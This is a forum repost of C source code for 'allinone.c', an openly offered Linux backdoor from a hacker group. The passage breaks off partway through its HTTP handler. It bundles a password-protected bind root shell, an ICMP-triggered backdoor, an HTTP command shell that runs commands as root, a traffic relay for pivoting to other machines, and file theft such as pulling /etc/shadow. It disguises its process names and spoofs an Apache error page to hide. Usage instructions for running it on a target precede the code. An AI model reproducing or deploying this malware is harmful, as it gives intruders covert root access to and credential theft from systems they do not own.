一個多功能linux 后門的源代碼 
--------------------------------------------------------------------------------
發(fā)布者:lion  來源:HUC  類別:原創(chuàng)天地  日期:01-20  今日/總瀏覽: 6/745  


/************************************************************************ 
* allinone.c for HUC(2002) 
* 
* allinone.c is 
* a Http server, 
* a sockets transmit server, 
* a shell backdoor, 
* a icmp backdoor, 
* a bind shell backdoor, 
* a like http shell, 
* it can translate file from remote host, 
* it can give you a socks5 proxy, 
* it can use for to attack, jumps the extension, Visits other machines. 
* it can give you a root shell.:) 
* 
* Usage: 
* compile: 
* gcc -o allinone allinone.c -lpthread 
* run on target: 
* ./allinone 
* 
* 1.httpd server 
* Client: 
* http://target:8008/givemefile/etc/passwd 
* lynx -dump http://target:8008/givemefile/etc/shadow > shadow 
* 
* 2.icmp backdoor 
* Client: 
* ping -l 101 target (on windows) 
* ping -s 101 -c 4 target (on linux) 
* nc target 8080 
* kissme:)      --> your password 
* 
* 3.shell backdoor 
* Client: 
* nc target 8008 
* kissme:)      --> your password 
* 
* 4.bind a root shell on your port 
* Client: 
* http://target:8008/bindport:9999 
* nc target 9999 
* kissme:)      --> your password    
* 
* 5.sockets transmit 
* Client: 
* http://target:8008/socks/:local listen port::you want to tran ip:::you want to tran port 
* http://target:8008/socks/:1080::192.168.0.1:::21 
* nc target 1080 
* 
* 6.http shell 
* Client: 
* http://target:8008/givemeshell:ls -al (no pipe) 
* 
* ps: 
* All bind shell have a passwd, default is: kissme:) 
* All bind shell will close, if Two minutes do not have the connection. 
* All bind shell only can use one time until reactivates.  
* 
* 
* Code by lion, e-mail: lion@cnhonker.net 
* Welcome to HUC, Http://www.cnhonker.net 
* 
* Test on redhat 6.1/6.2/7.0/7.1/7.2 (maybe others) 
* Thx bkbll's Transmit code, and thx Neil,con,iceblood for test. 
* 
************************************************************************/ 


#include <stdio.h> 
#include <string.h> 
#include <signal.h> 
#include <netdb.h> 
#include <netinet/ip.h> 
#include <netinet/in.h> 
#include <sys/wait.h> 
#include <sys/socket.h> 
#include <sys/types.h> 
#include <sys/time.h> 
#include <pthread.h> 
#include <unistd.h> 
#include <fcntl.h> 
#include <errno.h> 


#define HTTPD_PORT 8008 
#define BIND_PORT 8888 
#define ICMP_PORT 8080 
#define TRAN_PORT 1080 
#define SIZEPACK 101 
#define MAXSIZE 32768 
#define TIMEOUT 120 
#define CONNECT_NUMBER 1 
#define HIDEME   "[login]             " 
#define HIDEICMP "[su]              " 
#define HIDEFILE  "[bash]             " 
#define GET_FILE "givemefile" 
#define SHELL_NAME "givemeshell" 
#define BIND_NAME "bindport" 
#define TRAN_NAME "socks" 
#define DISPART ":" 
#define DISPART1 "::" 
#define DISPART2 ":::" 
#define PASSWORD "kissme:)" 
#define MESSAGE  "\r\n========Welcome to http://www.cnhonker.net========\r\n==========You get it, have a goodluck. :)=========\r\n\r\nYour command: \0" 
#define GIVEPASS  "\r\nEnter Your password: \0" 

#define max(a, b) (a)>(b)?(a) : (b) 

int maxfd, infd, outfd; 
unsigned char ret_buf[32768]; 

int daemon_init(); /* init the daemon, if success return 0 other <0 */ 
void sig_chid(); /* wait the child die */ 
int TCP_listen(); /* success return 1 else return -1 */ 
char * read_file(); /* return the file content as a large string, buf value like GET /index.html HTTP:/1.1 */ 
ssize_t writen_file(); /* writen data to socket */ 
int bind_shell(); /* bind a root shell to a port */ 
int get_shell(); /* get me the root shell */ 
int icmp_shell(); /* icmp backdoor */ 
int socks(); /* socks */ 
int create_socket(); 
int create_serv(); 
int client_connect(); 
int quit(); 
void out2in(); 
char x2c(); /* http shell */ 
void unescape_url(); 
void plustospace(); 


/* The main function from here */ 
int main(int argc, char *argv[]) 
{ 
int fd, len, i, icmp; 
int csocket; 
struct sockaddr_in caddr; 
char readstr[4000]; 
char *cbuf; 
pid_t pid; 

/* make it to a daemon */ 
/*signal(SIGHUP, SIG_IGN);*/ 
signal(SIGCHLD, sig_chid); 
daemon_init(); 

if((pid = fork()) == -1) exit(0); 
if(pid <= 0) 
{ 
strcpy(argv[0], HIDEICMP); 
icmp_shell(); 
} 

fd = TCP_listen(HTTPD_PORT); 
if(fd <= 0) return -1; 

for(;;) 
{    
   strcpy(argv[0], HIDEME); 

/* check httpd */ 
len = sizeof(caddr); 
  if((csocket = accept(fd, &caddr, &len)) < 0) continue; 
  if((pid = fork()) == -1) continue; 
  if(pid <= 0) 
{ 
strcpy (argv[0], HIDEFILE); 
i = recv(csocket, readstr, 4000,0); 
  if (i == -1) break; 
  if( readstr[ i -1 ] != '\n' ) break; 
  readstr [i] = '\0'; 
/*printf("Read from client: %s \n", readstr);*/ 
cbuf = read_file(readstr, csocket); 
close(csocket); 
} 
close(csocket); 
} 
close(fd); 
return(1); 
} 


/* init the daemon, if success return 0 other <0 */ 
int daemon_init() 
{ 
struct sigaction act; 
int i, maxfd; 

if(fork() != 0)  exit(0); 
if(setsid() < 0) return(-1); 

act.sa_handler = SIG_IGN; 
/*act.sa_mask = 0;*/ 
act.sa_flags = 0; 

sigaction(SIGHUP, &act, 0); 

if(fork() != 0) exit(0); 

chdir("/"); 
umask(0); 
maxfd = sysconf(_SC_OPEN_MAX); 
for(i=0; i<maxfd; i++) 
close(i); 
open("/dev/null", O_RDWR); 
dup(0); 
dup(1); 
dup(2); 
return(0); 
} 


/* wait the child die */ 
void sig_chid(int signo) 
{ 
pid_t pid; 
int stat; 
while((pid = waitpid(-1, &stat, WNOHANG))>0); 
printf("children %d died\n", pid); 
return; 
} 

/* success return 1 else return -1 */ 
int TCP_listen(int port)      
{ 
struct sockaddr_in laddr ; 
int fd; 
socklen_t len ; 
fd = socket(AF_INET, SOCK_STREAM, 0); 
len = sizeof(laddr) ; 
    memset(&laddr, 0, len) ; 
  laddr.sin_addr.s_addr = htonl(INADDR_ANY) ; 
  laddr.sin_family = AF_INET ; 
  laddr.sin_port = htons(port) ;  
  if((bind(fd, (const struct sockaddr *)&laddr, len))) return(-1); 
  if(listen(fd, 5)) return(-1); 
return(fd); 
} 

/* http server */ 
char * read_file(char *buf, int fd)  
{ 
char *erro= 
"Content-type: text/html\n\n" 
"HTTP/1.1 404 Not Found\n" 
"Date: Mon, 14 Jan 2002 03:19:55 GMT\n" 
"Server: Apache/1.3.22 (Unix)\n" 
"Connection: close\n" 
"Content-Type: text/html\n\n" 
"<!DOCTYPE HTML PUBLIC \"-//IETF//DTD HTML 4.0//EN\">\n" 
"<HTML><HEAD>\n" 
"<TITLE>404 Not Found</TITLE>\n" 
"</HEAD><BODY>\n" 
"<H1>Not Found</H1>\n" 
"The requested URL was not found on this server.<P>\n" 
"<HR>\n" 
"<ADDRESS>Apache/1.3.22 Server at localhost Port 8008</ADDRESS>\n" 
"</BODY></HTML>\n\n"; 
char *bindok= 
"Content-type: text/html\n\n" 
"<html>\n<head><title>Bind Shell ok.:)</title></head>\n" 
"<body bgcolor=\"#000000\">\n" 
"<div align=\"center\"><p>\n" 
"<font face=\"Arial\" color=\"#999999\" size=\"7\"><b>\n" 
"You get it, goodluck! :-)\n" 
"</b></font></p></div><br>\n" 
"</body></html>\n\n"; 
char *tranok= 
"Content-type: text/html\n\n" 
"<html>\n<head><title>Tran ok.:)</title></head>\n" 
"<body bgcolor=\"#000000\">\n" 
"<div align=\"center\"><p>\n" 
"<font face=\"Arial\" color=\"#999999\" size=\"7\"><b>\n" 
"Tran ok!\n" 
"</b></font></p></div><br>\n" 
"</body></html>\n\n"; 
char *httpok1= 
"Content-type: text/html\n\n" 
"<html>\n<head><title>Shell ok.:)</title></head>\n" 
"<body bgcolor=\"#000000\">\n" 
"<div align=\"left\">\n" 
"<pre><font face=\"Arial\" color=\"#999999\" size=\"2\">\n"; 
char *httpok2= 
"</font></pre></div><br>\n" 
"</body></html>\n\n"; 
char *yourcom= 
"<b>Your Command:</b>\n"; 
char *br= 
"<br>\n"; 

int listenp, targetp, i, j, c, bport; 
char *cmd, *par, *op, *hp, *tp, *targeth, *command; 
char *swap_file = "/tmp/tmp.txt"; 
char *setpath = "PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:."; 
FILE *f; 

/* check give me shell */ 
cmd = buf; 
par = strstr(cmd, PASSWORD); 
if(par != NULL)  
{ 
/*printf("Get Shell:\n");*/ 
get_shell(fd); 
exit(0); 
} 

/* check bind root shell on a port */ 
par = strstr(cmd, BIND_NAME); 
op = strstr(cmd, DISPART); 
if(par != NULL && op != NULL) 
{ 
bport = atoi(op + strlen(DISPART)); 
if(bport <= 0) 
bport = BIND_PORT; 
/*printf("Bind Port: %d\n", bport);*/ 
write(fd, bindok, strlen(bindok)); 
close(fd); 
bind_shell(bport); 
exit(0); 
} 

/* check Tran code */ 
par = strstr(cmd, TRAN_NAME); 
op = strstr(cmd, DISPART); 
hp = strstr(cmd, DISPART1); 
tp = strstr(cmd, DISPART2); 
if(par != NULL && op != NULL && hp != NULL && tp != NULL) 
{ 
listenp = atoi(op + strlen(DISPART)); 
if(listenp <= 0) 
listenp = TRAN_PORT; 
targetp = atoi(tp + strlen(DISPART2)); 
if(targetp <= 0) 
targetp = 23; 

hp = (hp + strlen(DISPART1)); 
targeth = strncpy(ret_buf, hp,strlen(hp) - strlen(tp)); 
targeth[strlen(hp) - strlen(tp)] = '\0'; 
/*printf("Tran Port: listen %d port to %s %d port\n", listenp, targeth, targetp);*/ 
write(fd, tranok, strlen(tranok)); 
close(fd); 
/* 
listenp = 1080; 
targetp = 21; 
targeth = "192.168.0.14"; 
*/ 
socks(listenp, targeth, targetp); 
exit(0); 
} 

/* check http shell */ 
par = strstr(cmd, SHELL_NAME); 
op = strstr(cmd, DISPART); 
if(par != NULL && op != NULL) 
{ 
tp = buf + 5 + strlen(SHELL_NAME) + strlen(DISPART); 
hp = strstr(tp, "HTTP"); 
if(hp != NULL) *hp = '\0'; 
tp[strlen(tp) - 1] = 0; 
plustospace(tp); 
unescape_url(tp); 
/*printf("HTTP Shell: %s\n", tp);*/ 

c = j = strlen(tp); 
tp[j] = ' ';j++; 
tp[j] = ' ';j++; 
tp[j] = '>';j++; 
tp[j] = ' ';j++; 
for(i = 0; i <= strlen(swap_file); i++, j++) 
{ 
tp[j] = swap_file[i]; 
} 
tp[j + strlen(swap_file)] = '\0'; 

command = tp; 
/*printf("command: %s\n",command); */ 
setuid(0); 
setgid(0); 
chdir("/"); 
putenv(setpath); 
/*printf("setpath ok!\n");*/ 
system(command); 
/*printf("system ok!\n");*/ 

f = fopen(swap_file, "r"); 
if (f == NULL) 
{ 
/*printf("Swap file error");*/ 
writen_file(fd, erro, strlen(erro)); 
return erro; 
} 

writen_file(fd, httpok1, strlen(httpok1)); 
writen_file(fd, yourcom, strlen(yourcom)); 
writen_file(fd, command, c); 
writen_file(fd, br, strlen(br)); 
writen_file(fd, br, strlen(br)); 
while( !feof(f) ) 
{ 
i = fread(ret_buf, 1, 32768, f); 
if (i == 0) break; 
writen_file(fd, ret_buf, i); 
} 
fclose(f); 
writen_file(fd, br, strlen(br)); 
writen_file(fd, httpok2, strlen(httpok2)); 
remove(swap_file); 
exit(0); 
} 

/* check getfile */ 
par = NULL; 
par = strstr(cmd, GET_FILE); 
if(par != NULL) 
{ 
op = buf + 5 + strlen(GET_FILE); 
tp = strstr(op, "HTTP"); 
if(tp != NULL) *tp = '\0'; 
op[strlen(op) - 1] = 0; 
/*printf("Get File: %s\n", op);*/ 
f = fopen(op, "r"); 
if (f == NULL) 
{ 
writen_file(fd, erro, strlen(erro)); 
return erro; 
} 
while( !feof(f) )